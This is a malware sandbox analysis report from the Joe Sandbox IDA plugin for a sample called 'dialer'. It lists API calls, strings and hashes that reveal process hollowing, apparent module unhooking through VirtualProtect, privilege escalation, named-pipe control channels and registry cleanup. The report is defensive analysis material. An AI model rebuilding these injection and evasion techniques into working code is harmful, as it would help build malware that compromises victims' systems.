Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$ChangeCloseFindMemoryModulesNotificationOpenProcessesRead
String ID:
API String ID: 2178662837-0
Opcode ID: 0c5f04347bf6d44913e8b334837d31c7522880c0df581b7b1d3a354cacd3bc02
Instruction ID: 4d77757f93df85bc23d8c892fef0aa251d27ef1e6fb0ec7cd0312ebcda60f77c
Opcode Fuzzy Hash: 0c5f04347bf6d44913e8b334837d31c7522880c0df581b7b1d3a354cacd3bc02
Instruction Fuzzy Hash: F351B132F156829AEB61AF23AD84AB9A2B0FB89B84F944034DE0D47755DE3CD445CB20

Function 00007FF724A51C64 Relevance: 9.1, APIs: 6, Instructions: 88
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF724A51CB3
SetEntriesInAclW.ADVAPI32 ref: 00007FF724A51D14
LocalAlloc.KERNEL32 ref: 00007FF724A51D24
InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF724A51D3A
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF724A51D52
CreateNamedPipeW.KERNELBASE ref: 00007FF724A51D94

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 81527eae8623b787a181e0c46c37d2868846c75f5fa2d30b1d243af947967be4
Instruction ID: ed427213b0a2098e6e1939479965c53aa2f4fb382ec5d261ff6c63f2864c4fc2
Opcode Fuzzy Hash: 81527eae8623b787a181e0c46c37d2868846c75f5fa2d30b1d243af947967be4
Instruction Fuzzy Hash: DC417A73A14B418AE761DF25E980BAD77B4FB44798F90013AEA4D43B98EF78D508CB50

Function 00007FF724A517F8 Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF724A5180D
RtlAllocateHeap.NTDLL ref: 00007FF724A5181E

Part of subcall function 00007FF724A514E4: GetProcessHeap.KERNEL32 ref: 00007FF724A51517
Part of subcall function 00007FF724A514E4: HeapAlloc.KERNEL32 ref: 00007FF724A5152A
Part of subcall function 00007FF724A514E4: GetProcessHeap.KERNEL32 ref: 00007FF724A51538
Part of subcall function 00007FF724A514E4: HeapAlloc.KERNEL32 ref: 00007FF724A51549
Part of subcall function 00007FF724A514E4: K32EnumProcesses.KERNEL32 ref: 00007FF724A51563
Part of subcall function 00007FF724A514E4: OpenProcess.KERNEL32 ref: 00007FF724A51591
Part of subcall function 00007FF724A514E4: K32EnumProcessModules.KERNEL32 ref: 00007FF724A515B6
Part of subcall function 00007FF724A514E4: ReadProcessMemory.KERNELBASE ref: 00007FF724A515ED
Part of subcall function 00007FF724A514E4: FindCloseChangeNotification.KERNELBASE ref: 00007FF724A51629
Part of subcall function 00007FF724A514E4: GetProcessHeap.KERNEL32 ref: 00007FF724A5163B
Part of subcall function 00007FF724A514E4: HeapFree.KERNEL32 ref: 00007FF724A51649
Part of subcall function 00007FF724A514E4: GetProcessHeap.KERNEL32 ref: 00007FF724A5164F
Part of subcall function 00007FF724A514E4: HeapFree.KERNEL32 ref: 00007FF724A5165D

OpenProcess.KERNEL32 ref: 00007FF724A51865
TerminateProcess.KERNEL32 ref: 00007FF724A51878
CloseHandle.KERNEL32 ref: 00007FF724A51881
GetProcessHeap.KERNEL32 ref: 00007FF724A51891

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: HeapProcess$AllocCloseEnumFreeOpen$AllocateChangeFindHandleMemoryModulesNotificationProcessesReadTerminate
String ID:
API String ID: 3947494490-0
Opcode ID: 5cc818aebe366c74c24883c76324c687b53e60aeb57db289d72e63b86dd9db26
Instruction ID: 6b89ba69637add14c446c962c64a6df13593a8324683bf42c732b834d723229e
Opcode Fuzzy Hash: 5cc818aebe366c74c24883c76324c687b53e60aeb57db289d72e63b86dd9db26
Instruction Fuzzy Hash: 3511A531F09A4285EB15BF27AD80879A7B1FF89B80F688034DD0D03756DE7CD4418B10

Function 00007FF724A52078 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 128
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 00007FF724A520AA
StrCatW.SHLWAPI ref: 00007FF724A520B8
GetModuleHandleW.KERNEL32 ref: 00007FF724A520C1
GetCurrentProcess.KERNEL32 ref: 00007FF724A5210C
K32GetModuleInformation.KERNEL32 ref: 00007FF724A52120
CreateFileW.KERNELBASE ref: 00007FF724A52150
CreateFileMappingW.KERNELBASE ref: 00007FF724A5217B
MapViewOfFile.KERNELBASE ref: 00007FF724A5219F
lstrcmpi.KERNEL32 ref: 00007FF724A521EA
VirtualProtect.KERNELBASE ref: 00007FF724A52221
VirtualProtect.KERNELBASE ref: 00007FF724A5224F
FindCloseChangeNotification.KERNELBASE ref: 00007FF724A52258
CloseHandle.KERNEL32 ref: 00007FF724A52261
FreeLibrary.KERNEL32 ref: 00007FF724A5226A

Strings

.text, xrefs: 00007FF724A521E3
C:\Windows\System32\, xrefs: 00007FF724A5209B

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: File$CloseCreateHandleModuleProtectVirtual$ChangeCurrentFindFreeInformationLibraryMappingNotificationProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 1125510917-832442975
Opcode ID: 5b6459bf4908e158894d0240be6af7c22007f1fef7840f3adad859f1057e7803
Instruction ID: 5635e401486ecdfc35efb7684c08716659504fa8b2c27f475b2b8f617010263d
Opcode Fuzzy Hash: 5b6459bf4908e158894d0240be6af7c22007f1fef7840f3adad859f1057e7803
Instruction Fuzzy Hash: B4515036B0964292EB21AF22B994A6AB370FB84B84FA44135DE4D07755DE7CD409CF20

Function 00007FF724A52D84 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF724A51C64: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF724A51CB3
Part of subcall function 00007FF724A51C64: SetEntriesInAclW.ADVAPI32 ref: 00007FF724A51D14
Part of subcall function 00007FF724A51C64: LocalAlloc.KERNEL32 ref: 00007FF724A51D24
Part of subcall function 00007FF724A51C64: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF724A51D3A
Part of subcall function 00007FF724A51C64: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF724A51D52
Part of subcall function 00007FF724A51C64: CreateNamedPipeW.KERNELBASE ref: 00007FF724A51D94

Sleep.KERNEL32 ref: 00007FF724A52DA9
ConnectNamedPipe.KERNELBASE ref: 00007FF724A52DB6
ReadFile.KERNEL32 ref: 00007FF724A52DD9
WriteFile.KERNEL32 ref: 00007FF724A52E07
Sleep.KERNEL32 ref: 00007FF724A52E14
DisconnectNamedPipe.KERNEL32 ref: 00007FF724A52E1D

Strings

\\.\pipe\dialerchildproc64, xrefs: 00007FF724A52D91
M, xrefs: 00007FF724A52DFA

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: 1e8405c3ce3dc3a450943935d6232c4767fdbc18e1eae9273363d4fc7ca69f3e
Instruction ID: d04589aea2c3d762d2df7743dc7dd093e380dc6ac69d0356cc562ac19254e434
Opcode Fuzzy Hash: 1e8405c3ce3dc3a450943935d6232c4767fdbc18e1eae9273363d4fc7ca69f3e
Instruction Fuzzy Hash: 44112422E1874291E614FF22ED94BB9A770FB847A0FA44234D95A466D6CF7CD548CF20

Function 00007FF724A5228C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF724A51C64: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF724A51CB3
Part of subcall function 00007FF724A51C64: SetEntriesInAclW.ADVAPI32 ref: 00007FF724A51D14
Part of subcall function 00007FF724A51C64: LocalAlloc.KERNEL32 ref: 00007FF724A51D24
Part of subcall function 00007FF724A51C64: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF724A51D3A
Part of subcall function 00007FF724A51C64: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF724A51D52
Part of subcall function 00007FF724A51C64: CreateNamedPipeW.KERNELBASE ref: 00007FF724A51D94

Sleep.KERNEL32 ref: 00007FF724A522B1
ConnectNamedPipe.KERNELBASE ref: 00007FF724A522BE
ReadFile.KERNEL32 ref: 00007FF724A522E1
Sleep.KERNEL32 ref: 00007FF724A52302
DisconnectNamedPipe.KERNEL32 ref: 00007FF724A5230B

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00007FF724A52299

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: e726fb2786c7da4def9263b705b77f3199000bde839af328c4a314f779c2dbfb
Instruction ID: 75ca5864d54fdf69e7b9b1474d7a90c6086f683a4ae5ae59404b86dc6ca39aab
Opcode Fuzzy Hash: e726fb2786c7da4def9263b705b77f3199000bde839af328c4a314f779c2dbfb
Instruction Fuzzy Hash: E7014821E0864291EA15BF22AD84ABDE370EF81BA1FA44534D61A0A5D5CF7CD448CF20

Function 00007FF724A52CC0 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF724A52CDB
HeapAlloc.KERNEL32 ref: 00007FF724A52CEF
GetProcessHeap.KERNEL32 ref: 00007FF724A52CF8
HeapAlloc.KERNEL32 ref: 00007FF724A52D06
K32EnumProcesses.KERNEL32 ref: 00007FF724A52D21
Sleep.KERNEL32 ref: 00007FF724A52D79

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: d2e1c125c576b14afbc05c5ef5102f2ffb5d105b10e46613ced4fa4cc78aada4
Instruction ID: 9e43a764261a8e38954bf2e548730a7a9edec174c8e59ba5c727d7ba709be697
Opcode Fuzzy Hash: d2e1c125c576b14afbc05c5ef5102f2ffb5d105b10e46613ced4fa4cc78aada4
Instruction Fuzzy Hash: 69216233E0861247E624AF17EA9493AB671FB81B80F648038DA4A0B765DE7DE444CF50

Function 00007FF724A519AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,00007FF724A5110E), ref: 00007FF724A519CA
IsWow64Process.KERNEL32(?,?,?,00007FF724A5110E), ref: 00007FF724A519E0
FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF724A5110E), ref: 00007FF724A519FB

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: Process$ChangeCloseFindNotificationOpenWow64
String ID:
API String ID: 3805842350-0
Opcode ID: ea685a94494dd3c72d9a5f52f0d7d3242b8d37645b818c6e37f69502b31e9c88
Instruction ID: 67f8a45753fc81a5464e350ea844f5fc35374517f89476af0017baf16f8c9b8c
Opcode Fuzzy Hash: ea685a94494dd3c72d9a5f52f0d7d3242b8d37645b818c6e37f69502b31e9c88
Instruction Fuzzy Hash: 2CF06231F0978282EB159F27B984525A270FB88BC0F948038EA4D43749DF7CD484CB00

Function 00007FF724A52314 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF724A52328: VerSetConditionMask.NTDLL ref: 00007FF724A52397
Part of subcall function 00007FF724A52328: VerSetConditionMask.NTDLL ref: 00007FF724A523A8
Part of subcall function 00007FF724A52328: VerSetConditionMask.NTDLL ref: 00007FF724A523B9
Part of subcall function 00007FF724A52328: VerifyVersionInfoW.KERNEL32 ref: 00007FF724A523CC
Part of subcall function 00007FF724A52328: GetCurrentProcessId.KERNEL32 ref: 00007FF724A523DE
Part of subcall function 00007FF724A52328: OpenProcess.KERNEL32 ref: 00007FF724A523EE
Part of subcall function 00007FF724A52328: OpenProcessToken.ADVAPI32 ref: 00007FF724A5240F
Part of subcall function 00007FF724A52328: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF724A52429
Part of subcall function 00007FF724A52328: AdjustTokenPrivileges.KERNELBASE ref: 00007FF724A5246D
Part of subcall function 00007FF724A52328: GetLastError.KERNEL32 ref: 00007FF724A52477
Part of subcall function 00007FF724A52328: FindCloseChangeNotification.KERNELBASE ref: 00007FF724A52480
Part of subcall function 00007FF724A52328: FindResourceA.KERNEL32 ref: 00007FF724A52494
Part of subcall function 00007FF724A52328: SizeofResource.KERNEL32 ref: 00007FF724A524AB
Part of subcall function 00007FF724A52328: LoadResource.KERNEL32 ref: 00007FF724A524C4
Part of subcall function 00007FF724A52328: LockResource.KERNEL32 ref: 00007FF724A524D6
Part of subcall function 00007FF724A52328: GetCurrentProcessId.KERNEL32 ref: 00007FF724A524E3

ExitProcess.KERNEL32 ref: 00007FF724A5231F

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: Process$Resource$ConditionMask$CurrentFindOpenToken$AdjustChangeCloseErrorExitInfoLastLoadLockLookupNotificationPrivilegePrivilegesSizeofValueVerifyVersion
String ID:
API String ID: 1125160344-0
Opcode ID: c424f5b466816f57c667fdb355f9c01d35ce1647c2c5f950e20106d890b0f394
Instruction ID: 05add7c5e95dccc3375f283ec66a9ac0f0ba7e5f96847a8b677261f5a31b0c04
Opcode Fuzzy Hash: c424f5b466816f57c667fdb355f9c01d35ce1647c2c5f950e20106d890b0f394
Instruction Fuzzy Hash: D5A00211E1554141D9053B765D9546C5171AF95711BE01434D01955153DD5C54554F31

Non-executed Functions

Function 00007FF724A526E8 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 292
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00007FF724A5276B

Part of subcall function 00007FF724A519AC: OpenProcess.KERNEL32(?,?,?,00007FF724A5110E), ref: 00007FF724A519CA
Part of subcall function 00007FF724A519AC: IsWow64Process.KERNEL32(?,?,?,00007FF724A5110E), ref: 00007FF724A519E0
Part of subcall function 00007FF724A519AC: FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF724A5110E), ref: 00007FF724A519FB

Part of subcall function 00007FF724A510C0: OpenProcess.KERNEL32 ref: 00007FF724A5112C
Part of subcall function 00007FF724A510C0: OpenProcess.KERNEL32 ref: 00007FF724A5114B
Part of subcall function 00007FF724A510C0: K32GetModuleFileNameExW.KERNEL32 ref: 00007FF724A51170
Part of subcall function 00007FF724A510C0: PathFindFileNameW.SHLWAPI ref: 00007FF724A5117E
Part of subcall function 00007FF724A510C0: lstrlenW.KERNEL32 ref: 00007FF724A5118A
Part of subcall function 00007FF724A510C0: StrCpyW.SHLWAPI ref: 00007FF724A511A1
Part of subcall function 00007FF724A510C0: CloseHandle.KERNEL32 ref: 00007FF724A511AD
Part of subcall function 00007FF724A510C0: StrCmpIW.SHLWAPI ref: 00007FF724A511ED
Part of subcall function 00007FF724A510C0: NtQueryInformationProcess.NTDLL ref: 00007FF724A51221
Part of subcall function 00007FF724A510C0: OpenProcessToken.ADVAPI32 ref: 00007FF724A5124B

RegOpenKeyExW.ADVAPI32 ref: 00007FF724A52807
RegDeleteValueW.ADVAPI32 ref: 00007FF724A5281F
ExitProcess.KERNEL32 ref: 00007FF724A52843
GetProcessHeap.KERNEL32 ref: 00007FF724A5284A
HeapAlloc.KERNEL32 ref: 00007FF724A5285D
K32EnumProcesses.KERNEL32 ref: 00007FF724A5287A
ExitProcess.KERNEL32 ref: 00007FF724A5291A

Strings

SOFTWARE, xrefs: 00007FF724A527F9
open, xrefs: 00007FF724A52AEC
dialerstager, xrefs: 00007FF724A52818

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitFindHeapName$AllocChangeDeleteEnumHandleInformationModuleNotificationPathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 4281403370-3931493855
Opcode ID: 57deca5b7dadaa8d94473ef24676dfbe4cb0f61227f20ab4b3d1e5920c79bf4c
Instruction ID: 504d12ec575f88c1b559d7b67d5709d18493bf04f0e2e98bf83a804400aa5a2f
Opcode Fuzzy Hash: 57deca5b7dadaa8d94473ef24676dfbe4cb0f61227f20ab4b3d1e5920c79bf4c
Instruction Fuzzy Hash: 65D18472E0868286EB75AF279E84AFDA274FF40744FA14135E50D4B697DE7CA604CF20

Function 00007FF724A51DB4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 00007FF724A51E78
VirtualAllocEx.KERNEL32 ref: 00007FF724A51EA7
WriteProcessMemory.KERNEL32 ref: 00007FF724A51ECC
WriteProcessMemory.KERNEL32 ref: 00007FF724A51F08
VirtualAlloc.KERNEL32 ref: 00007FF724A51F3B
GetThreadContext.KERNEL32 ref: 00007FF724A51F57
WriteProcessMemory.KERNEL32 ref: 00007FF724A51F7F
SetThreadContext.KERNEL32 ref: 00007FF724A51F9D
ResumeThread.KERNEL32 ref: 00007FF724A51FAD
OpenProcess.KERNEL32 ref: 00007FF724A51FCC
TerminateProcess.KERNEL32 ref: 00007FF724A51FDC

Strings

@, xrefs: 00007FF724A51E9F

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 703b8677555c06e2b0f299b5c9a482d004feef9bba7614f76242c0c17f04cdf7
Instruction ID: 362cf9b8836b89d117fb4abceb3e831f3a17d8cdd7d06a6b95ae72177042f6e0
Opcode Fuzzy Hash: 703b8677555c06e2b0f299b5c9a482d004feef9bba7614f76242c0c17f04cdf7
Instruction Fuzzy Hash: 4B619C32F05A0186EB519F26E980A6DB7B1FB88B88F904235DE4D53798DF38E449CB10

Function 00007FF724A51AC4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00007FF724A51AEB
SysAllocString.OLEAUT32 ref: 00007FF724A51AFB
CoInitializeEx.OLE32 ref: 00007FF724A51B08
CoInitializeSecurity.OLE32 ref: 00007FF724A51B3F
CoCreateInstance.OLE32 ref: 00007FF724A51B84
VariantInit.OLEAUT32 ref: 00007FF724A51B96
CoUninitialize.OLE32 ref: 00007FF724A51C2F
SysFreeString.OLEAUT32 ref: 00007FF724A51C38
SysFreeString.OLEAUT32 ref: 00007FF724A51C41

Strings

dialersvc64, xrefs: 00007FF724A51AE2

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: 1cf1482e3e3cd0594537fe81606e3316bc30941842e87169c6508401709d1003
Instruction ID: 494bf9b6775b590a3acf0f174daee92be0fc72e421097ad573cff8b0e0f10929
Opcode Fuzzy Hash: 1cf1482e3e3cd0594537fe81606e3316bc30941842e87169c6508401709d1003
Instruction Fuzzy Hash: D5418B32B04F4696E710DF26E9846ADB3B1FB98B88F944135EE0E47A25DF39E149C710

Function 00007FF724A51000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF724A51034
RegDeleteKeyW.ADVAPI32 ref: 00007FF724A51045
RegEnumKeyExW.ADVAPI32 ref: 00007FF724A51082
RegCloseKey.ADVAPI32 ref: 00007FF724A51093
RegDeleteKeyExW.ADVAPI32 ref: 00007FF724A510B0

Strings

SOFTWARE\dialerconfig, xrefs: 00007FF724A51026, 00007FF724A5109C

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: e1473c9d781940c188c1c4810ff800916bd5dc84dd697936dace2937510ea816
Instruction ID: 8232b16f6afa16793a19f299b28dadb17ab76f1218da6d63816da673e9475259
Opcode Fuzzy Hash: e1473c9d781940c188c1c4810ff800916bd5dc84dd697936dace2937510ea816
Instruction Fuzzy Hash: A7118232E18A8581F7609F26EC84BBAA374FB84758F900235D64D0A999DFBCD148CF24

Function 00007FF724A52C18 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF724A52C53
WriteFile.KERNEL32 ref: 00007FF724A52C7B
WriteFile.KERNEL32 ref: 00007FF724A52C9E
CloseHandle.KERNEL32 ref: 00007FF724A52CA7

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00007FF724A52C30

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: e51fa25a04711743f107767099e23b895b2e502b334cde0a5e9bfd5133e6eec8
Instruction ID: a10e9031932888f7b77345af6ef908695575bc5a16fc16c59f6975b21d3ef492
Opcode Fuzzy Hash: e51fa25a04711743f107767099e23b895b2e502b334cde0a5e9bfd5133e6eec8
Instruction Fuzzy Hash: 64119E36A14B5082EB109F12E948729A370FB88BA0FA44235DA1907B95CF7CD509CF50

Function 00007FF724A51A14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,00007FF724A51914), ref: 00007FF724A51A24
GetProcAddress.KERNEL32(?,?,00000000,00007FF724A51914), ref: 00007FF724A51A37

Strings

ntdll.dll, xrefs: 00007FF724A51A1A

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
